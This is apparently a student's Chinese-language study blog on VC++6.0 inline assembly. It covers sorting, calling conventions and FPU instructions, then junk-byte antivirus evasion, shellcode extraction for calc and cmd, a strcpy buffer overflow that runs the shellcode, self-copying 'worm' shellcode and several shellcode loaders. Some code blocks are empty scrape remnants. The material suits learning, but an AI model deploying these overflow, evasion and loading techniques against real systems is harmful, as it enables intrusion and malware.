内嵌汇编,主要是循环、判断、输出的训练。
环境:VC++6.0
(内心OS:我快升天了,终于摸到门路,离上道还有那么十万八千里…吧)
C语言内嵌汇编实现简单插入排序
插入排序原理
假设一串数字已经分为有序和无序两个部分。
无序表的第一个数逐一与有序表的各位数字进行比较,直到遇到比他小的停止。
插入排序原理
C语言代码
写这么长,是因为我汇编有些寄存器变化还需要再加深认识。所以多设置了几个变量。可以优化的(有空就优化,咕咕咕)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int main()
{
int num[5]={5,4,2,9,1};
int i=0;
int n=0;
int j=0;
int k=0;
int temp=0;
char *str1="第%d趟:\n";
char *str2="%d";
char *str3="j=%d\t";
/*
printf("输入数字个数:\n");
scanf("%d",&n);
printf("输入%d个数:\n",n);
for(i=0;i<n;i++)
scanf("%d",&num[i]);
*/
for(i=1;i<5;i++)
{
printf(str1,i);
temp=num[i];
j=i-1;
while(j >= 0 && temp < num[j])
{
k=j+1;
num[k]=num[j];
j--;
printf(str3,j);
for(k=0;k<5;k++)
printf(str2,num[k]);
printf("\n");
}
j+=1;
num[j]=temp;
}
for(k=0;k<5;k++)
printf(str2,num[k]);
}
汇编实现
step_1:一层循环
只进行前后两个数字的比较,不涉及与前面更多数比较
C语言代码
1 |
|
汇编实现
1 | //先构造一次循环,即每次都只是前后两个数比较 |
二重循环(完整版)汇编实现
已原地升天1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
int main()
{
int num[5]={5,4,2,9,1};
int i=0;
int n=0;
int j=0;
int k=0;
int temp=0;
char *str1="第%d趟:\n";
char *str2="%d";
char *str3="j=%d\t";
char *str4="\n";
__asm{
mov i,0
start_w:
mov eax,i
add eax,1
mov i,eax
cmp i,5
jge end_w
//printf(str1,i);
mov ecx,i
push ecx
mov edx,str1
push edx
call printf
add esp,8
mov eax,i
mov ecx,num[eax*4]
mov temp,ecx
mov edx,i
sub edx,1
mov j,edx
//内循环
start_n:
cmp j,0
jl end_n
mov eax,j
mov ecx,temp
cmp ecx,num[eax*4]
jge end_n
mov edx,j
add edx,1
mov k,edx
mov eax,k
mov ecx,j
mov edx,num[ecx*4]
mov num[eax*4],edx
mov eax,j
sub eax,1
mov j,eax
mov ecx,j
push ecx
mov edx,str3
push edx
call printf
add esp,8
mov k,-1
//输出每次调换的结果
each_start:
mov eax,k
add eax,1
mov k,eax
cmp k,5
jge each_end
mov ecx,k
mov edx,num[ecx*4]
push edx
mov eax,str2
push eax
call printf
add esp,8
jmp each_start
each_end:
nop
mov eax,str4
push eax
call printf
add esp,4
jmp start_n
end_n:
mov ecx,j
add ecx,1
mov j,ecx
mov edx,j
mov eax,temp
mov num[edx*4],eax
jmp start_w
end_w:
mov n,-1
print_start:
mov ecx,n
add ecx,1
mov n,ecx
cmp n,5
jge print_end
mov edx,n
mov eax,num[edx*4]
push eax
mov ecx,str2
push ecx
call printf
add esp,8
jmp print_start
print_end:
nop
};
}
小结
1.例如num[eax 4]这样,所有都要有4,因为一个int占4个字节
2.num[i]和num[j]比较,这里只能先把值放到寄存器里再和寄存器比较,若是直接num[i]和num[j]会报错
3.理清逻辑,一开始调试好长时间,主要是跳转地址不熟悉,然后混乱了。不过写完之后觉得还好还好。
C语言内嵌汇编实现模拟函数调用
特征指令
程序通过调用程序来调用函数,在程序执行后又返回调用程序继续执行。函数的返回地址随参数压栈,一起传给调用函数。有多种方法可以实现,最常见的是call/ret指令。
实例分析
交换函数。
C语言代码
1 | #include<stdio.h> |
效果:
汇编实现
函数直接调用方式使程序变得简单。但也有例外,程序间接调用函数,即通过寄存器传递函数地址或者动态计算函数地址调用:1
call [4*eax+10h]
汇编代码
1 | #include<stdio.h> |
原理
参数压栈,然后返回地址压栈,寄存器压栈,分配内存空间,空间清C。之后变量赋值,程序开始。最后清理堆栈,堆栈平衡。
!汇编中的函数调用中栈的工作过程
函数参数
函数传参有三种方式:
⊙ 栈方式(明确参数入栈顺序,并约定堆栈平衡方式)
⊙ 寄存器方式(存在哪个寄存器中)
⊙ 通过全局变量进行隐含参数传递的方式
利用栈传递参数
堆栈先进后出,栈顶指针esp指向第一个可用数据。调用函数时参数依次入栈,然后调用函数。调用后,从堆栈中取数据并进行计算,然后由调用者本身恢复堆栈,使堆栈平衡。
调用约定
约定类型 | __cdecl | pascal | stdcall | Fastcall |
---|---|---|---|---|
参数传递顺序 | 从右到左 | 从左到右 | 从右到左 | 使用寄存器和栈 |
平衡堆栈 | 调用者 | 子程序 | 子程序 | 子程序 |
允许使用VARARG | 是 | 否 | 是 |
⊙ C规范(即cdecl)是C和C++默认调用约定。
⊙ stdcall是Win32API采用的约定方式。其中wsprintf采用cdecl。
__cdecl | pascal | stdcall |
---|---|---|
push par3 | push par1 | push par3 |
push par2 | push par2 | push par2 |
push par1 | push par3 | push par1 |
call test | call test | call test |
add esp,0c |
一般通过ebp来存取栈,以上面的swap函数为例。
(1)当前esp为K。
(2)根据stdcall,b先入栈,此时esp移动一个存储单元到K-04h。
(3)a入栈,esp继续移动一个存储单元至K-08h。
(4)call指令。执行call指令会把call下一个地址压栈,即返回地址。此时esp为K-0Ch。
(5)为保证恢复时的ebp,所以把ebp先push再pop。此时esp是K-10h。
(6)mov ebp,esp
。ebp作为基址指针,[ebp+8]是参数一,[ebp+C]是参数二。
(7)sub esp,xxx
为定义局部变量。局部变量一[ebp-4],局部变量二[ebp-8]。调用结束时通过add esp,xxx
释放局部变量占用的栈。即子函数调用完局部变量就不在有作用。
(8)ret 8
表示先ret
再add esp,8
。
此外,enter
和leave
指令可以帮助对栈的维护。1
2
3
4
5enter语句相当于:
push ebp
mov ebp,esp
add esp,xxx
1 | leave语句相当于: |
有时,编译器为节省ebp寄存器或者减少代码提高速度,会直接以esp为基址指针。如:1
2
3
4
5
6
7
8
9
10push b
push a
call swap
add esp,8
swap:
mov eax,dword ptr [esp+04h]
mov ecx,dword ptr [esp+08h]
...
retn
利用寄存器传参
一般没有标准。但大多数编译器都在不对兼容性进行声明的情况下遵循相应规范,即Fastcall规范。
不同编译器稍有不同。VC++6.0规定左边两个不大于4字节的参数分别在ecx和edx中,寄存器用完后,其余参数从右至左入栈。浮点值、远指针、__int64类型总是通过栈传参。
Borland Delphi/C++编译器左边三个不大于四字节的参数分别存在eax,edx,ecx中。寄存器用完后,其余参数按照pascal约定从左至右入栈。
另一个编译器Watcom C通过寄存器传参。依次使用eax,edx,ebx
实际上可以指定任意寄存器。在不指定的情况下通过Fastcall约定完成。
利用寄存器而不是堆栈传参:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56#include<stdio.h>
void main(){
int a=2;
int b=3;
char *str1="a=%d,b=%d\n";
printf(str1,a,b);
__asm{
lea edx,dword ptr [ebp-8h]
lea ecx,dword ptr [ebp-4h]
call swap
push eax
push ecx
push str1
call printf
add esp,0ch
pop edi
pop esi
pop ebx
add esp,4ch
mov ebp,esp
pop ebp
retn
swap:
push ebp
mov ebp,esp
sub esp,4ch
push ebx
push esi
push edi
push ecx
lea edi,dword ptr [ebp-4ch]
mov ecx,13h
mov eax,0xCCCCCCCC
rep stos dword ptr es:[edi]
pop ecx
mov dword ptr [ebp-08h],edx
mov dword ptr [ebp-04h],ecx
mov eax,dword ptr [ebp-04h]
mov ecx,dword ptr [eax]
mov dword ptr [ebp-0ch],ecx
mov edx,dword ptr [ebp-04h]
mov eax,dword ptr [ebp-08h]
mov ecx,dword ptr [eax]
mov dword ptr [edx],ecx
mov edx,dword ptr [ebp-08h]
mov eax,dword ptr [ebp-0ch]
mov dword ptr [edx],eax
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
}
}
另外,thiscall约定也采用寄存器传参。thiscall是C++中的非静态类成员函数的默认调用约定,对象每个函数隐含接收this参数。thiscall从右到左顺序压栈,子函数返回前清理堆栈。
仅通过ecx传递额外指针this指针。
名称修饰约定
为允许使用操作符和函数重载,C++编译器往往会按照某种规则该写每一个入口点的符号名,从而允许同一个名字(具有不同的参数类型或者不同的作用域)有多个用法且不会破坏现有的基于C的链接器。
在VC++中,函数修饰名由编译类型(C/C++),函数名、类名、调用约定、返回类型、参数等共同决定。简单来说:
C:
⊙ stdcall 函数名前加下划线,后接@ +参数字节数“_functionname@number”。
⊙ __cdecl 函数名前加下划线。“_functionname”
⊙ Fastcall 函数名前加@,后接@ +参数字节数“@functionname@number”
均不改变函数名中的字符大小写。但是pascal约定输出的函数名不能有修饰且只能是大写。
C++:
待完善。
函数返回值
return操作符
一般情况下,返回值放在eax寄存器中,如果结果大小超出eax的容量,高32位就会放在edx中。
传引用方式传参的返回值
函数传参有两种方式,传值和传引用。
传值调用时,会建立一份参数的副本,把它传给子函数,子函数中修改参数值不会影响到参数原本的值。
传引用调用允许调用函数修改原始变量的值。调用函数时,把变量地址传给函数就可以修改内存单元中变量的值。
具体步骤:OllyICE调试
传参通过内存完成,取地址压入栈,由lea指令和push指令完成。
然后进入swap函数
把下一个地址压入栈push ebp
为局部变量分配内存空间sub esp,44
寄存器入栈、空间清C(初始化变量,将原来内存中的脏数据全部置为CCCCCCCC):int i
的话内存就为CCCCCCCC,int i=1
的话内存就是00000001。
执行函数体。可见是通过从内存中取值放到寄存器里再交换的
pop出寄存器,清理堆栈,堆栈平衡,恢复到main函数的现场
总结
1.call printf
按顺序输出,先入栈的后输出。
2.寻址花了很长时间。(刚刚看汇编5天,数据结构也还没学过,C语言也还停留在大一上水平)所以改变寻址调试好久,这里需要注意。
3.调试过程划重点。
4.一个月后,回来修改补充了本文。我已经忘了为什么寻址会花很长时间,明明这个没有什么难跳转的地址。
C语言内嵌汇编实现字母计数
内嵌汇编,主要是循环、判断、输出的训练。
环境:VC++6.0
完成这个的时候是从零开始开始看汇编第三天,还属于没摸到门道阶段,是在我学长的大力帮助下完成的。在这里感谢我学长的救命之恩!
C语言代码
1 |
|
最开始我的代码可以把大小写识别为相同字母。可是那个调用了几个标准库函数,写汇编的时候我就一脸懵逼.jpg,遂改的简单了些。
修改后只能计小写字母,大写字母不能识别,这点有空优化哈(咕咕咕)
汇编实现
1 |
|
效果:
废话
晚上很晚的时候还在问学长各种问题。然后躺在床上辗转反侧到两点多,写不出来真的好难过。
第二天就有了些思绪,比前几日要好许多。所以在有困难的时候不要轻易放弃。
花指令与内存蛙跳
在上一篇的基础上做了些小改动…又水了一篇。
查杀逃逸通常技术:花指令、壳、内存多态。
两种花指令:垃圾数据、看似不会正常执行的代码。
反汇编过程中存在几个关键问题,其中一个是数据和代码的区分问题。反汇编算法必须对汇编指令的长度、多种多样的简介跳转实现形式进行适当的处理,从而保证反汇编结果的正确性。
目前,主要的两类反汇编算法是线性扫描算法(Linear Sweep)和递归行进算法(Recursive Traversal)。
线性算法技术含量不高,反汇编工具将整个模块中的每一条指令都反汇编成汇编指令,将遇到的机器码都作为代码处理,没有对反汇编的内容进行判断。因此,线性扫描算法无法正确地将代码和数据分开,数据也被当作代码执行,从而导致反汇编地错误。
递归行进算法按照代码可能地执行顺序来反汇编程序,对每条可能的路径进行扫描。当解码出分支指令后,反汇编工具就将这个地址记录下来,并分别反汇编各个分支中地指令。这种算法比较灵活,可以避免将代码中地数据作为指令来解码。
巧妙构造代码和数据,在指令流中插入很多“垃圾数据”,干扰反汇编软件地判断,使他错误的确定指令地起始位置,这类代码称为花指令。用花指令进行静态加密是很有效的。
我们称db、dw、equ等为伪指令是因为它们是供汇编器使用的,汇编器如果看到mov等指令,直接将其翻译成mov对应的机器代码,这个机器代码是供计算机识别mov的;但是当汇编器看到db指令后,它不是将其翻译成机器代码,因为计算机不识别db指令对应的机器码,db没有对应的机器码,db指令是告诉汇编器我需要在当前内存位置写入一个字节。
这就是占用内存的其中几个指令。
在这次实验中,通过_emit占用内存,干扰利用线性算法的反汇编软件。
1 |
|
1 | char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x74\x03\xe8\xe9\xe9\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x10"; |
可以正常执行。
汇编浮点指令
浮点和整型在汇编运算上差异很大,指令、寄存器、出入栈也有区别。
操作浮点数的寄存器
不同于整型数值的寄存器,浮点单元也称作x87 FPU。FPU有 8 个独立寻址的80位寄存器,名称分别为r0, r1, …, r7,他们以堆栈形式组织在一起,统称为寄存器栈,编写浮点指令时栈顶也写为st(0),最后一个寄存器写作st(7)。
FPU另有3个16位的寄存器,分别为控制寄存器、状态寄存器、标记寄存器(待更新)。
状态寄存器 FST 读取状态寄存器内容fstsw
浮点数表示
常见指令
1 | #include<stdio.h> |
指令 | 含义 |
---|---|
fld | 加载指令,加载内存中的数据到fpu寄存器。一般存储在st(0)位置。 |
fldz | 在st(0)中加载0(zero) |
fld1 | 把 +1.0 压入 FPU 堆栈中 |
fldl2t | 把 10 的对数(底数2)压入 FPU 堆栈中 |
fldl2e | 把 e 的对数(底数2)压入 FPU 堆栈中 |
fldpi | 把 pi 的值压入 FPU 堆栈中 |
fldlg2 | 把 2 的对数(底数10)压入 FPU 堆栈中 |
fldln2 | 把 2 的对数(底数e) 压入堆栈中 |
指令 | 含义 |
---|---|
fst m32real | 将 ST(0) 复制到 m32real |
fst m64real | 将 ST(0) 复制到 m64real |
fst ST(i) | 将 ST(0) 复制到 ST(i) |
fstp | 先执行同fst相同操作,再弹出寄存器堆栈。一般操作是先sub esp,xx,再将结果弹出到栈顶。 |
指令 | 含义 |
---|---|
fadd | 浮点加法 |
fsub | 浮点减法 |
fdiv | 浮点除法 |
fmul | 浮点乘法 |
除法使用时需要注意:
华氏/摄氏温度转换1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
main(){
int fahr,celsius;
int lower,upper,step;
lower =0;
upper=300;
step=20;
fahr=lower;
while(fahr<=upper){
celsius = 5*(fahr-32)/9;
printf("%d\t%d\n",fahr,celsius);
fahr= fahr+step;
}
}
1 | 00401043 |> /8B4D FC /mov ecx, dword ptr [ebp-4] |
有符号整数除法指令 IDIV,此指令进行有符号的除法运算,使用的操作数格式与DIV指令格式相同。 在进行8位除法之前,被除数(AX)必须进行符号扩展,余数的符号和被除数总是相同。
那么符号扩展顾名思义其实就是将它的符号位进行扩展,常用指令为CDQ,CWD,CBW
指令 | 含义 |
---|---|
cbw | 将(字节扩展至字)。这个指令将扩展al的符号位至ah中。 |
cwd | 指令是将字符号扩展至双字,将扩展ax的符号位至dx中。 |
cdq | 指令将双字符号扩展至8字节,扩展eax的符号位至edx寄存器中。它实际的作用只是把EDX的所有位都设成EAX最高位的值。也就是说,当EAX <80000000, edx 为00000000;当eax>= 80000000, EDX 则为FFFFFFFF。80000000,> |
例如 :
假设 EAX 是 FFFFFFFB (-5) ,它的第 31 bit (最左边) 是 1,
执行 CDQ 后, CDQ 把第 31 bit 复制至 EDX 所有 bit
EDX 变成 FFFFFFFF
这时候, EDX:EAX 变成 FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5。
EDX:EAX,这里表示EDX,EAX连用表示64位数
这些指令常用于扩展被除数,很久前,指令集规定除数必须是被除数的一半长,这个规定一直被沿用。使用IDIV执行除法时,如果除数是32位,这就要求被除数是64位,即EDX:EAX,所以扩展一下EAX以满足除法指令的条件并且得到正确的结果。
华氏/摄氏温度转换改进版1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#include<stdio.h>
main(){
float fahr,celsius;
int lower,upper,step;
lower =0;
upper=300;
step=20;
fahr=lower;
while(fahr<=upper){
celsius = 5.0/9.0 * (fahr-32.0);
printf("%3.0f\t%6.2f\n",fahr,celsius);
fahr= fahr+step;
}
}
1 | 00401010 >|> \55 push ebp |
浮点数不能使用 CMP 指令进行比较,因为后者是通过整数减法来执行比较的。取而代之,必须使用 FCOM 指令。
指令 | 含义 |
---|---|
fcom | 比较st0和st1寄存器的值 |
fcom %st(x) | 比较st0和stx寄存器的值 |
fcom source | 比较st0和32/64位内存值 |
fcomp | 比较st0和st1寄存器的值,并弹出堆栈 |
fcomp %st(x) | 比较st0和stx寄存器的值,并弹出堆栈 |
fcomp source | 比较st0和32/64位内存值,并弹出堆栈 |
fcompp | 比较st0和st1寄存器的值,并两次弹出堆栈 |
ftst | 比较st0和0.0 |
本例中,先加载最大华氏温度300,然后与[ebp-4]的值进行比较并把300弹出堆栈(fcomp),把浮点数比较的结果放入状态寄存器,使用fstsw指令获得fpu状态寄存器的值并存入ax,再使用test
指令对两个参数(ah,1)执行AND逻辑操作,并根据结果设置标志寄存器,完成浮点数比较。1
2
3
4
5fild dword ptr [ebp-10]
fcomp dword ptr [ebp-4]
fstsw ax
test ah, 1
jnz short 00401089
输出时,同样,先把栈顶指针esp向上移动,然后fstp将fpu中的操作数弹出来。1
2sub esp, 8
fstp qword ptr [esp]
或者先加载需要的浮点数,再移动栈顶指针esp,再弹出堆栈。1
2
3fld dword ptr [ebp-4]
sub esp, 8
fstp qword ptr [esp]
内嵌汇编-shellcode提取
shellcode本质是一段二进制机器码。这里只是用三个小例子(我也只会小例子)写一段提取范例
三个程序:
1.messagebox弹框
2.计算器
3.cmd
需要注意
1.加载动态库
为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用Windows的API Loadlibrary加载C语言的库msvcrt.dll。
事实上一般的PE文件都会加载kernel32.dll,user32.dll,ntdll.dll等动态链接库,所以我们不必要调用LoadLibrary(“kernel32.dll”),不过当我们的ShellCode需要使用到其他动态链接库的时候,如ws2_32.dll等,LoadLibrary()函数是必须的。
2.压栈字符串长度补齐
3.Windows API地址获取
三种方法。可以在调试中找到地址,也可以通过函数获取,也可以手动计算。
调试找到内存地址(这种方法适用性一般,在调用user32.messagebox这种函数时可用,在call system时就只能获得中转内存)
1 | int findFunc(char*dll_name,char*func_name) |
比如通过上述实例可以获得system函数在虚拟内存中的地址。
手动计算:函数在虚拟内存中的地址=偏移地址+映像基址
messagebox弹框
Windows API
C标准库就是任何平台都可以使用的基本C语言库。而CRT除了将C标准库加入所属范围外,还扩展了与平台相关的接口库,这些接口实现根据不同平台调用不同平台的操作系统API。
如下图所示,采用C标准库编写的程序可以应用到windows平台,也可以应用到linux平台;而用CRT另外与平台相关的库函数编写的应用程序不能跨平台运行。
C语言实现
1 |
|
弹框部分整理为汇编
然后将弹框部分整理为汇编(我写的是一部分内嵌)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17__asm
{
//sub sp,0x454
xor ebx,ebx //ebx=0
push ebx //字符串结尾'\0'
push 0x61626364 //将字符串压栈
push 0x65666768 //还是那串字符串
mov eax,esp //"hgfedcba"地址
push ebx
push eax //"hgfedcba"
push eax
push ebx //四个参数从右到左入栈
//call dword ptr [MessageBoxA] //根据上面得到的地址,转化一下
mov eax,0x77d507ea
call eax
add esp,12 //12是因为压栈的时候占用三个内存单元
}
在API或子程序中,最右边的参数先入栈,然后子程序在返回时负责校正堆栈。如上面MessageBox这个API,因为他的定义是int WINAPI MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
,所以压栈的时候:1
2
3
4
5push MB_OK
push offset lpCaption
push offset text
push hWnd
call dword ptr [MessageBoxA]
我们不必在API返回时加一句add sp,16
来修正堆栈,因为MessageBox子程序已经做过了。在Windows API中,唯一一个特殊的API是wsprintf,这个API是C规定的,他的定义是int __cdecl wsprintf(_Out_ LPTSTR lpOut, _In_ LPCTSTR lpFmt, _In_...);
所以压栈的时候:
1 | push 1111 |
转化成机器码(shellcode)执行
在VC中切换到反汇编模式,显示byte
把这些加上\x放到shellcode数组里,调用执行
1 | char shellcode[]="\x33\xdb\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8b\xc4\x53\x50\x50\x53\xb8\xea\x07\xd5\x77\xff\xd0\x33\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0\x83\xc4\x0c"; |
1 |
|
小结:1.压入0的时候,由于shellcode一般不能有00,所以采用xor的方式替换掉0;同时shellcode不可采用硬编码的地址,应该通过基址和偏移计算。这里我还没有学通,回头补上。
计算器
C语言实现
1 |
|
汇编
1 | __asm{ |
同样的方法找到WinExec函数的内存地址。
同样的方法提取机器码。运行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
char *dll3="keinel32.dll";
libHandle=LoadLibrary(dll3);
//WinExec("calc.exe",SW_SHOW);
//calculater
/* __asm{
xor ebx,ebx
push ebx
push 6578652Eh
push 636C6163h
mov eax,esp
push 5h
push eax
//push 5h
mov eax,0x7C8623AD
call eax
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
mov esp,ebp
pop ebp
sub esp,24
}*/
__asm
{
lea eax,shellcode
call eax
//add esp,80
ret
}
ExitProcess(0);
return 0;
}
cmd
由于用到的函数是system("cmd")
,汇编调用系统函数system()
第一种获取地址方法没有用上,用到第二种方法。
获取地址过程见上面的图片。
注:输入exit回车是退出cmd模式。(想当初我还bye、ctrl+C、ctrl+Z试了不少次= =)
C语言
1 |
|
汇编
1 |
|
同样的方法提取shellcode,运行
1 |
|
汇编无限复制自我执行
相当于在模仿“蠕虫”吧,但是只是简单地自我复制、无限执行,没有灵魂。
PS:定位、调整地址很头秃,我内心想好了怎么做(原理也很简单),但是自暴自弃的看动画片也不想调试。所以看完了《恋与制作人》和《刺客伍六七》第二季(狗头)。间隔了挺长时间,所幸最后还是调试出来了。
另外……
我妹:你们还学蠕虫呀?
我:嗯。
我妹:什么是蠕虫呀?
我:在你电脑里爬的虫子。
我妹:那电脑不就坏了吗?
我:嗯。
我妹:你们在做坏事??
我:你为什么不往好处想??
我妹:我要告诉警察!
我:……我进去对你有什么好处?
我爸:放心,你姐姐做不出来,电脑都有防火墙和杀毒软件,你姐姐现在这点水平骗一骗你还行。
还是之前的溢出实验代码。又双叒叕水了一篇。
第二版
因为第一版没留底(也没什么参考价值),单纯的执行了两遍shellcode。
第二版是可以无限复制,但没有执行。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17__asm{
mov eax,esp
push 0x2e2e2e1a
mov [esp+1],ecx //将edx的值变成19,且避免00截断
mov edx,[esp]
add eax,24h //跳过头部
worm:
xor ecx,ecx
copy:
mov bl,byte ptr [eax+ecx]
inc ecx
mov byte ptr [eax+edx],bl
inc edx
cmp bl,0x90
jne copy //内循环,本内存复制shellcode
jmp worm //外循环,在下一内存复制shellcode
}
然后提取这段的机器码,并且放在shellcode中。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90"
"\x8b\xc4\x33\xc9\x68\x1a\x2e\x2e\x2e\x89\x4c\x24\x01\x8b\x14\x24\x83\xc0\x24\x33\xc9\x8a\x1c\x08\x41\x88\x1c\x10\x42\x80\xfb\x90\x75\xf3\xeb\xef"
"\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x4e\x90";
void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}
void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);
/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}
第三版
自我复制,无限执行,没有灵魂。1
2
3
4
5
6
7
8
9
10
11
12
13
14 __asm{
mov eax,esp
xor ecx,ecx
push 0x2e2e2e1a
mov [esp+1],ecx
mov edx,[esp]
copy:
mov bl,byte ptr [eax+ecx]
inc ecx
mov byte ptr [eax+edx],bl
inc edx
cmp ecx,38h
jne copy
add esp,38h
提取机器码,放到shellcode中。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52#include "stdafx.h"
#include "string.h"
#include "windows.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90"
"\x8b\xc4"
"\x33\xc9"
"\x68\x3a\x2e\x2e\x2e"
"\x89\x4c\x24\x01"
"\x8b\x14\x24"
"\x83\xc0\x02"
"\x8a\x1c\x08\x41\x88\x1c\x10\x42\x83\xf9\x3d\x75\xf3"
"\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x4e\x90";
void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}
void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);
/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}
几种加载shellcode的方法
还有很多方法,学到后持续更新。以弹出计算器为例
lea/call
1 | __asm |
将shellcode的地址存入eax寄存器后,call eax即可跳转到shellcode地址执行。
lea/push
1 | __asm |
将eax进行两次push压栈,栈顶指针esp向上移动两个内存单元,两个内存单元中存的都是shellcode的地址。esp下一个内存单元存储的值是retn地址,故将返回到shellcode的地址。
lea/jmp
原理很简单,先把shellcode地址存入eax,再直接跳转到eax执行。1
2
3
4
5__asm
{
lea eax,shellcode
jmp eax
}
mov offset
1 | __asm |
伪指令硬编码
1 | __asm |
FF E0就是jmp eax的机器码。
强制类型转换成函数指针
((void(*)(void))&shellcode)()
1 |
|
上述几种方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\x20\xD3\x7B\x75\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
void run1(){
((void(*)(void))&shellcode)();
}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run4();
}